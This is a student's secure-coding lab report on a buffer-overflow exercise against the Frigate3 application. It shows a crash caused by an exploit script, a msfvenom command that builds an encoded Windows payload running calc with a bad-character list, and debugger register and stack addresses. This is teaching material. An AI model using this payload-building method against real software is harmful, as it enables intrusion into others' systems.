

Secure coding

Saiteja

18BCD7174

Lab-10

Installing the Immunity Debugger and Running Frigate3.



Running exploit2.py

```
C:\Windows\system32\cmd.exe
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\NOMESH>cd Desktop

C:\Users\NOMESH\Desktop>python exploit2.py

C:\Users\NOMESH\Desktop>C:\Windows\system32\notepad exploit2.txt

C:\Users\NOMESH\Desktop>
```

After Running the Exploit2.py The frigate3 stopped working.
And unable to open the application.

Creating .exe file to change the Default Trigger using kali linux.

```
Shell No.1
File Actions Edit View Help
root@Nomes:~# msfvenom -a x86 --platform windows -p windows/exec CMD=calc
-e x86/alpha_mixed -b "\x00\x14\x09\x0a\x0d" -f exe -o ven1.exe
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 440 (iteration=0)
x86/alpha_mixed chosen with final size 440
Payload size: 440 bytes
Final size of exe file: 73802 bytes
Saved as: ven1.exe
root@Nomes:~#
```



As we can see above the default trigger changed to Calc.exe

Attaching the Frigate3 to the Immunity Debugger.

After Attaching the I have get the below details from Immunity

Debugger The EIP Address is:74FF8450

The Starting and Ending of Stack Frame is:

starting address=74FF1000

ending address=75034FFE

